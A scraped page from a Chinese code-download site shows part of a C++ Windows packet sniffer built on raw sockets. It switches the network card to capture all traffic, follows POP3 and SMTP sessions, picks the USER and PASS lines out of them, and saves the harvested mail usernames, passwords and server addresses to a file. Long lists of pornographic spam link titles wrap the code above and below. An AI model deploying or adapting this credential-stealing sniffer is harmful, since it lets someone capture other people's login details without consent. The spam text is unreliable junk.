亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? sniffer.cpp

?? Sniffer using Sock_raw. 挺不錯的。
?? CPP
?? 第 1 頁 / 共 2 頁
字號:
gethostname(hostname,100);
myhost=gethostbyname(hostname);
hostip=inet_ntoa(*(in_addr *)myhost->h_addr_list[0]);
localsock.sin_family=AF_INET;
localsock.sin_port=htons(++BasePort);
localsock.sin_addr.S_un.S_addr=inet_addr(hostip);
if(bind(POPSocket,(const sockaddr *)&localsock,sizeof(localsock))==SOCKET_ERROR){
  ErrorCode=7;
  DeletePopListenIp(ListenIp);
  DeleteSubThreadId(this_threadid);
  return ErrorCode;
  }
DWORD dwValue=1;
if(ioctlsocket(POPSocket,SIO_RCVALL,&dwValue)==SOCKET_ERROR){
   ErrorCode=8;
   DeletePopListenIp(ListenIp);
   DeleteSubThreadId(this_threadid);
   return ErrorCode;
   }
//
printf("\r\n"+ListenIp+":sub thread POP sniffer start!try to sniffer data...\r\n");
int strlength=0;
while(true){  
     if(PeekMessage(&msg,NULL,WM_SNIFFER_CLOSE,WM_SNIFFER_CLOSE,PM_REMOVE)){
        closesocket(POPSocket);
		TRACE("subthread  close ok!");
	    break;
	    }
     SnifferStr=GetSnifferData(POPSocket,ListenIp,toport);	
	 if(SnifferStr.Compare("no data")==0){
        Sleep(1);	    
		continue;
		}
	 //if(SnifferStr.GetLength()<30) TRACE(SnifferStr);
     int index;
     CString LowSnifferStr;
	 LowSnifferStr=SnifferStr;
	 LowSnifferStr.MakeLower();	
     if(POPSTART){
	    if(index=LowSnifferStr.Find("user",0)==0){
		   if(index=SnifferStr.Find(" ",0)){
		       if(UserName=="no get username"){
			      strlength=SnifferStr.GetLength()-index-1;
		          UserName=SnifferStr.Mid(index+1,strlength-2);
				  }
			   }
		   }
	    else if(index=LowSnifferStr.Find("pass",0)==0){
		   if(index=SnifferStr.Find(" ",0)){
		       if(PassWord=="no get password"){
			      strlength=SnifferStr.GetLength()-index-1;
		          PassWord=SnifferStr.Mid(index+1,strlength-2);
				  }
			   }
		   POPSTART=false;
		   TRACE("get last data!\r\n");
		   GetMailOK=true;
		   break;
		   }
        else if(index=LowSnifferStr.Find("quit",0)==0){
		    POPSTART=false;
			TRACE("get last data!\r\n");
			GetMailOK=true;
			break;
		    }
		}
	Sleep(1);
	}
if(GetMailOK&&UserName!="no get username"&&PassWord!="no get password"){
 AllString=UserName+"\r\n"+PassWord+"\r\n"+PopIp;
 printf("This is listen:\r\n"+AllString);
 WritePOPSniffer(userinfo.SnifferDataPath,UserName,PassWord,PopIp);
 }
closesocket(POPSocket);
Sleep(1000);
DeletePopListenIp(ListenIp);
DeleteSubThreadId(this_threadid);
TRACE("\r\nsub thread exit!");
return 0;
}
//
int SaveSelfDefSnifferData(CString Protocol,CString FromIp,CString FromPort,CString DestIp,CString DestPort,CString DataLen,CString PacketData)
{
bool cansave=false;
if(DataLen=="0") return 0;
//單向嗅探
if(userinfo.ProtoType.Find(Protocol,0)>=0||userinfo.ProtoType=="*")
  if(userinfo.sourceip.Find(FromIp,0)>=0||userinfo.sourceip=="*")
     if(userinfo.sourceport.Find(FromPort,0)>=0||userinfo.sourceport=="*")
	    if(userinfo.destip.Find(DestIp,0)>=0||userinfo.destip=="*")
		   if(userinfo.destport.Find(DestPort,0)>=0||userinfo.destport=="*")
		      cansave=true;

//雙向嗅探
if(userinfo.Way==0){
if(userinfo.ProtoType.Find(Protocol,0)>=0||userinfo.ProtoType=="*")
  if(userinfo.sourceip.Find(DestIp,0)>=0||userinfo.sourceip=="*")
     if(userinfo.sourceport.Find(DestPort,0)>=0||userinfo.sourceport=="*")
	    if(userinfo.destip.Find(FromIp,0)>=0||userinfo.destip=="*")
		   if(userinfo.destport.Find(FromPort,0)>=0||userinfo.destport=="*")
		      cansave=true;
}
if(cansave){
     int hfile;
	 hfile=open(userinfo.SelfSnifferDataPath,O_RDONLY|O_BINARY);
	 if(hfile){
	    long flen=filelength(hfile);
		if((flen/1024)/1024>=userinfo.MaxData){
           close(hfile);
		   remove(userinfo.SelfSnifferDataPath);
		   }
        else close(hfile);
		}
	 fsniffer=fopen(userinfo.SelfSnifferDataPath,"ab+");
     printf("\r\n%-6s%-18s%-8s-->  %-18s%-8s%sBytes\r\n------------------------------------------------------\r\n\0",Protocol,FromIp,FromPort,DestIp,DestPort,DataLen);
	 if(fsniffer!=NULL){
       fprintf(fsniffer,"%-6s%-18s%-8s-->  %-18s%-8s%sBytes\r\n------------------------------------------------------\r\n",Protocol,FromIp,FromPort,DestIp,DestPort,DataLen);
	   fwrite(PacketData,atoi(DataLen),1,fsniffer);
	   fputs("\r\n\r\n------------------------------------------------------\r\n",fsniffer);
	   fflush(fsniffer);
	   fclose(fsniffer);
	   }
	 else printf("File can not create...\r\n");
	 return 1;
     }
return 0;
}
//主嗅探進程
UINT SnifferThread(LPVOID form_ptr){
MSG msg;
char buffer[65535];
int readnum,totalbytes,datalen,HeaderLen;
bool can=true;
IP_HEADER *IpHeader;
TCP_HEADER *TcpHeader;
UDP_HEADER *UdpHeader;
ICMP_HEADER *IcmpHeader;
CString FromIp,DestIp,FromPort,DestPort,Protocol,PacketData,DataLen,SnifferStr;
char fromip[20],destip[20];
char *pdata;
SNIFFER *getform=static_cast<SNIFFER *>(form_ptr);
getform->MainThreadId=GetCurrentThreadId();
while(true){
   if(PeekMessage(&msg,NULL,WM_SNIFFER_CLOSE,WM_SNIFFER_CLOSE,PM_REMOVE)){
     closesocket(RawSocket);
	 MessageSubThread(WM_SNIFFER_CLOSE);
     TRACE("mainthread close ok1 and send message!");
     break;
     }
   if(PeekMessage(&msg,NULL,WM_SNIFFER_STOP,WM_SNIFFER_STOP,PM_REMOVE)){
     TRACE("go stop ok!");
     while(true){
	     Sleep(100);
		 if(PeekMessage(&msg,NULL,WM_SNIFFER_RESTART,WM_SNIFFER_RESTART,PM_REMOVE)){
		    TRACE("restart ok!");
			break;
			}
		 if(PeekMessage(&msg,NULL,WM_SNIFFER_CLOSE,WM_SNIFFER_CLOSE,PM_REMOVE)){
		    closesocket(RawSocket);
			MessageSubThread(WM_SNIFFER_CLOSE);
		    TRACE("thread close ok!2");
			return 0;
			}
		 }
	 }
   //sniffer deail code
   ZeroMemory(buffer,65535);
   datalen=0;
   readnum=recv(RawSocket,buffer,65535,0);
   if(readnum==SOCKET_ERROR){
     getform->ErrorCode=13;
	 Sleep(2);
	 continue;
	 }
   IpHeader=(IP_HEADER *)buffer;
   Protocol.Format("%s",GetProtocol((unsigned char)IpHeader->Protocol));
   sprintf(fromip,"%d.%d.%d.%d",IpHeader->FromIP.address[0],IpHeader->FromIP.address[1],IpHeader->FromIP.address[2],IpHeader->FromIP.address[3]);
   sprintf(destip,"%d.%d.%d.%d",IpHeader->ToIP.address[0],IpHeader->ToIP.address[1],IpHeader->ToIP.address[2],IpHeader->ToIP.address[3]);
   FromIp.Format("%s",fromip);
   DestIp.Format("%s",destip);
   totalbytes=ntohs(IpHeader->TotalLen);
   HeaderLen=(IpHeader->VersionHdl&0x0f)*4;
   totalbytes-=HeaderLen;
   switch(IpHeader->Protocol){
      case IPPROTO_ICMP:
	     IcmpHeader=(ICMP_HEADER *)(buffer+HeaderLen);
		 datalen=totalbytes-ICMP_HEADER_LEN;
		 FromPort.Format("-");
		 DestPort.Format("-");
		 pdata=(char *)IcmpHeader+ICMP_HEADER_LEN;
		 PacketData.Format("type:%d code:%d data:%s",IcmpHeader->Type,IcmpHeader->Code,pdata);
         break;
	  case IPPROTO_UDP:
	     UdpHeader=(UDP_HEADER *)(buffer+HeaderLen);
		 datalen=totalbytes-UDP_HEADER_LEN;
		 FromPort.Format("%d",ntohs(UdpHeader->FromPort));
		 DestPort.Format("%d",ntohs(UdpHeader->ToPort));
		 pdata=(char *)UdpHeader+UDP_HEADER_LEN;
		 PacketData.Format("%s",pdata);
		 break;
	  case IPPROTO_TCP:
	     TcpHeader=(TCP_HEADER *)(buffer+HeaderLen);
		 HeaderLen=((TcpHeader->HeaderLen)>>4)*4;
         FromPort.Format("%d",ntohs(TcpHeader->FromPort));
		 DestPort.Format("%d",ntohs(TcpHeader->ToPort));
		 pdata=(char *)TcpHeader+HeaderLen;
		 PacketData.Format("%s",pdata);
		 datalen=totalbytes-HeaderLen;
		 break;
	  default:
	     FromPort.Format("-");
		 DestPort.Format("-");
		 datalen=totalbytes;
		 PacketData.Format("");
		 break;
	  }
   DataLen.Format("%d",datalen);
   //SnifferStr.Format("\r\n%s %18s%8s%18s%8s %s \r\nData:\r\n%s",Protocol,FromIp,FromPort,DestIp,DestPort,DataLen,PacketData);
   if(userinfo.SnifferStartFlag==1){
     if(DestPort.Compare("25")==0){
       if(!SmtpIpIsListened(FromIp)){  
       InsertSmtpListenIpList(FromIp);    
	   ListenSmtpIp=FromIp;   
       AfxBeginThread(SmtpSnifferThread,(LPVOID)NULL);
	   TRACE(FromIp+":create smtp thread ok!\r\n");
	   }
	 }
//
    if(DestPort.Compare("110")==0){
      if(!PopIpIsListened(FromIp)){
       InsertPopListenIpList(FromIp); 
	   ListenPopIp=FromIp;
	   PopServerIp=DestIp;      
	   AfxBeginThread(PopSnifferThread,(LPVOID)NULL);
	   TRACE(FromIp+":create pop thread ok!\r\n");
	   }
	  }
	}
//
   if(userinfo.SelfSnifferStartFlag==1)
     SaveSelfDefSnifferData(Protocol,FromIp,FromPort,DestIp,DestPort,DataLen,PacketData);
//
   Sleep(1);
   }	
return 0;	 
}


//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

SNIFFER::SNIFFER()
{
int i;

for(i=0;i<MAX_SUBTHREAD_NUM;i++){
   SubThreadIdList[i]=0;/*
   PopListenIpList[i]="1";
   SmtpListenIpList[i]="1";*/
   }
   
WsaStartup=false;
BasePort=LISTEN_PORT;
SnifferState=SNIFFER_STATE_CLOSE;
SnifferError[0]="operate success!";
SnifferError[1]="WSAStartup failed!";
SnifferError[2]="Sniffer has start!";
SnifferError[3]="Sniffer is stoping!";
SnifferError[4]="Invalid Socket!";
SnifferError[5]="setsockopt rcvtimeo failed!";
SnifferError[6]="setsockopt iphdrincl failed!";
SnifferError[7]="bind socket failed!";
SnifferError[8]="ioctlsocket failed!";
SnifferError[9]="thread is not stop!";
SnifferError[10]="thread close failed!";
SnifferError[11]="no thread run!";
SnifferError[12]="thread is not start!";
SnifferError[13]="recv data error!";
SnifferError[14]="send message to subthread error!";
userinfo.SnifferStartFlag=0;
userinfo.SelfSnifferStartFlag=0;
userinfo.Way=1;
WORD wsaVersion;
WSADATA WSAData;
wsaVersion=MAKEWORD(2,0);
if(WSAStartup(wsaVersion,&WSAData)==SOCKET_ERROR){
   ErrorCode=1;
   }
else{ 
   ErrorCode=0;
   WsaStartup=true;
   }
}
//
SNIFFER::~SNIFFER()
{
if(WsaStartup) WSACleanup();
}
//
int SNIFFER::Start(/*LPVOID form_ptr*/)
{
if(WsaStartup){
//Form_ptr=form_ptr;
if(SnifferState==SNIFFER_STATE_START){
  ErrorCode=2;
  return ErrorCode;
  }
if(SnifferState==SNIFFER_STATE_STOP){
  ErrorCode=3;
  return ErrorCode;
  }
RawSocket=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
if(RawSocket==INVALID_SOCKET){
  ErrorCode=4;
  return ErrorCode;
  }
int rcvtimeout=5000;
if(setsockopt(RawSocket,SOL_SOCKET,SO_RCVTIMEO,(const char *)&rcvtimeout,sizeof(rcvtimeout))==SOCKET_ERROR){
  ErrorCode=5;
  return ErrorCode;
  }
/*
int flag=1;
if(setsockopt(RawSocket,IPPROTO_IP,IPHDRINCL,(const char *)&flag,sizeof(flag))==SOCKET_ERROR){
  ErrorCode=6;
  return ErrorCode;
  }
*/
char hostname[100];
char *hostip;
hostent *myhost;
sockaddr_in localsock;
gethostname(hostname,100);
myhost=gethostbyname(hostname);
hostip=inet_ntoa(*(in_addr *)myhost->h_addr_list[0]);
localsock.sin_family=AF_INET;
localsock.sin_port=htons(LISTEN_PORT);
localsock.sin_addr.S_un.S_addr=inet_addr(hostip);
if(bind(RawSocket,(const sockaddr *)&localsock,sizeof(localsock))==SOCKET_ERROR){
  ErrorCode=7;
  return ErrorCode;
  }
DWORD dwValue=1;
if(ioctlsocket(RawSocket,SIO_RCVALL,&dwValue)==SOCKET_ERROR){
   ErrorCode=8;
   return ErrorCode;
   }
SnifferState=SNIFFER_STATE_START;
AfxBeginThread(SnifferThread,(LPVOID)this);
TRACE("MAIN thread start ok!\r\n");
ErrorCode=0;
return ErrorCode;
}
else{
ErrorCode=1;
return ErrorCode;
}
}
//
int SNIFFER::ReStart()
{
if(SnifferState=SNIFFER_STATE_STOP){
  if(MainThreadId){
    PostThreadMessage(MainThreadId,WM_SNIFFER_RESTART,NULL,NULL);
    ErrorCode=0;
    return ErrorCode;
	}
  else{
    ErrorCode=11;
	return ErrorCode;
	}
  }
ErrorCode=9;
return ErrorCode;
}
//
int SNIFFER::SnifferClose()
{
if(SnifferState!=SNIFFER_STATE_CLOSE){
  if(MainThreadId){
    PostThreadMessage(MainThreadId,WM_SNIFFER_CLOSE,NULL,NULL);
	SnifferState=SNIFFER_STATE_CLOSE;
	MainThreadId=0;
    ErrorCode=0;
    return ErrorCode;
	}
  else{
    ErrorCode=11;
	return ErrorCode;
	}
  }
ErrorCode=10;
return ErrorCode;
}
//
int SNIFFER::Stop()
{
userinfo.SnifferStartFlag=0;
if(SnifferState=SNIFFER_STATE_START){
  if(MainThreadId){
    PostThreadMessage(MainThreadId,WM_SNIFFER_STOP,NULL,NULL);
    ErrorCode=0;
    return ErrorCode;
	}
  else{
    ErrorCode=11;
	return ErrorCode;
	}
  }
ErrorCode=12;
return ErrorCode;
}
//
char * SNIFFER::GetLastError(int errorcode)
{
return SnifferError[errorcode];
}
//
int SNIFFER::StartSelfDefineSniffer(CString ProtoType,CString sourceip,CString sourceport,CString destip,CString destport,int way,int maxdata,CString fpath)
{
userinfo.ProtoType=ProtoType;
userinfo.sourceip=sourceip;
userinfo.sourceport=sourceport;
userinfo.destip=destip;
userinfo.destport=destport;
userinfo.SelfSnifferStartFlag=1;
userinfo.Way=way;
userinfo.MaxData=maxdata;
wsprintf(userinfo.SelfSnifferDataPath,"%s",fpath);
return 1;
}

int SNIFFER::StopSelfDefineSniffer()
{
userinfo.SelfSnifferStartFlag=0;
return 1;
}

int SNIFFER::StartSniffer(CString fpath)
{
wsprintf(userinfo.SnifferDataPath,"%s",fpath);
userinfo.SnifferStartFlag=1;
return 1;
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产精品欧美一级免费| 国产一区999| 国产精品中文字幕日韩精品| 99久久99久久精品免费看蜜桃| 在线不卡欧美精品一区二区三区| 亚洲黄色免费电影| 久久国产精品免费| 欧美亚洲丝袜传媒另类| 国产亚洲一区二区三区四区 | 色妞www精品视频| 久久色视频免费观看| 亚洲3atv精品一区二区三区| 一本到三区不卡视频| 国产精品久久久久桃色tv| 美女国产一区二区三区| 欧美视频一二三区| 亚洲免费在线电影| 99热精品一区二区| 国产精品视频第一区| 国产乱码一区二区三区| 日韩午夜在线影院| 日本不卡在线视频| 欧美精品777| 日韩中文字幕麻豆| 777色狠狠一区二区三区| 亚洲一区二区在线视频| av一区二区三区在线| 中文字幕中文字幕一区| 成人午夜在线视频| 国产精品女同互慰在线看| 成人一级视频在线观看| 国产午夜亚洲精品理论片色戒 | 欧美精品丝袜久久久中文字幕| 亚洲精品大片www| 欧美主播一区二区三区| 亚洲成人午夜电影| 欧美卡1卡2卡| 久久99久久99| 久久亚洲一级片| 成人性视频免费网站| 中文字幕一区二区三区蜜月| 99久久精品情趣| 亚洲一区二区四区蜜桃| 欧美精品在线观看播放| 麻豆91在线观看| 久久久久久久网| 成人av在线网| 亚洲国产一区视频| 日韩欧美一卡二卡| 国产在线国偷精品免费看| 国产精品乱码久久久久久| 97精品国产97久久久久久久久久久久| 一区二区三区蜜桃网| 欧美精选一区二区| 精品系列免费在线观看| 国产精品久久久久久久久图文区 | 国产精品久久99| 欧美综合欧美视频| 狠狠色狠狠色综合系列| 一区二区不卡在线视频 午夜欧美不卡在 | 国产精品91xxx| 亚洲免费视频成人| 91精品国产黑色紧身裤美女| 国产一区二区h| 亚洲综合视频在线观看| 精品少妇一区二区三区在线播放 | 亚洲免费在线电影| 制服丝袜亚洲网站| 高清国产一区二区| 日韩av中文字幕一区二区 | 91免费观看在线| 麻豆高清免费国产一区| 一区二区视频在线| 精品国产乱码久久久久久久| 日本黄色一区二区| 国产精品亚洲一区二区三区妖精| 亚洲日韩欧美一区二区在线| 欧美tk—视频vk| 欧美日韩一区 二区 三区 久久精品 | 国产在线视频一区二区| 夜夜嗨av一区二区三区中文字幕| 久久综合五月天婷婷伊人| 在线视频欧美区| 成人精品视频一区二区三区尤物| 秋霞午夜鲁丝一区二区老狼| 亚洲精品日日夜夜| 亚洲国产精品v| 日韩三级在线免费观看| 色狠狠桃花综合| 成人免费高清视频| 在线影视一区二区三区| 国产高清精品在线| 蜜臀av性久久久久蜜臀aⅴ| 一区二区三区视频在线看| 国产精品日产欧美久久久久| 精品区一区二区| 91精品婷婷国产综合久久竹菊| 91一区二区在线| 国产91对白在线观看九色| 激情综合色综合久久| 日本v片在线高清不卡在线观看| 一区二区三区在线不卡| 亚洲色图都市小说| 中文字幕二三区不卡| 国产日韩精品一区二区浪潮av| 亚洲精品一区二区三区香蕉| 日韩久久精品一区| 日韩视频免费直播| 日韩写真欧美这视频| 欧美成人三级在线| 日韩一区二区三区在线观看| 91精品国产色综合久久不卡电影 | 日日嗨av一区二区三区四区| 国产精品亲子伦对白| 久久综合久久鬼色| 精品国产91乱码一区二区三区| 日韩三级在线观看| 日韩欧美国产三级| 精品免费视频.| 久久久.com| 欧美高清在线一区二区| 国产精品免费看片| 一区二区中文字幕在线| 亚洲综合成人网| 亚洲成人久久影院| 国产老肥熟一区二区三区| 国产一区二区导航在线播放| 国产传媒日韩欧美成人| 波波电影院一区二区三区| 91视频在线看| 欧美三区在线观看| 日韩欧美一级二级| 国产欧美在线观看一区| 亚洲欧美另类综合偷拍| 亚洲丶国产丶欧美一区二区三区| 国产午夜精品久久| 中文字幕一区二区三| 一级女性全黄久久生活片免费| 亚洲国产精品久久人人爱蜜臀| 午夜精品久久久久影视| 裸体在线国模精品偷拍| 国产精品一区不卡| 在线观看亚洲一区| 精品少妇一区二区三区视频免付费| 国产日韩欧美一区二区三区综合| 亚洲欧美日韩电影| 蜜臀久久99精品久久久久久9 | 欧美一区2区视频在线观看| 欧美精品一区二区三| 亚洲色图在线视频| 热久久免费视频| 91香蕉视频污| 欧美精品一区二区三区蜜桃| 亚洲图片你懂的| 久久er精品视频| 在线日韩国产精品| 久久蜜桃av一区精品变态类天堂| 一区二区三区精品久久久| 激情综合网最新| 欧美日韩激情在线| 国产精品久久久久久久久免费桃花 | 激情综合色播五月| 91国偷自产一区二区三区观看| 日韩一级高清毛片| 夜夜嗨av一区二区三区四季av | 欧美色窝79yyyycom| 国产无一区二区| 日本va欧美va精品| 91影视在线播放| 久久精品亚洲一区二区三区浴池| 亚洲妇熟xx妇色黄| 成人动漫中文字幕| 亚洲精品在线三区| 一级做a爱片久久| 成人午夜免费电影| 久久久久久久久久久久电影 | 亚洲综合一区二区精品导航| 久久成人羞羞网站| 欧美日韩黄视频| 亚洲欧美日韩小说| 99视频一区二区| 久久新电视剧免费观看| 成人精品视频.| 日韩欧美的一区| 天天综合网天天综合色| 欧美在线播放高清精品| 国产精品成人免费| 99热这里都是精品| 国产精品情趣视频| 高清成人在线观看| 久久久久久久国产精品影院| 精品在线视频一区| 欧美成人一区二区三区片免费| 日韩av电影免费观看高清完整版在线观看| 色综合天天综合| 亚洲自拍与偷拍| 欧美精品一二三| 日本不卡的三区四区五区| 欧美一区永久视频免费观看| 蜜桃av一区二区|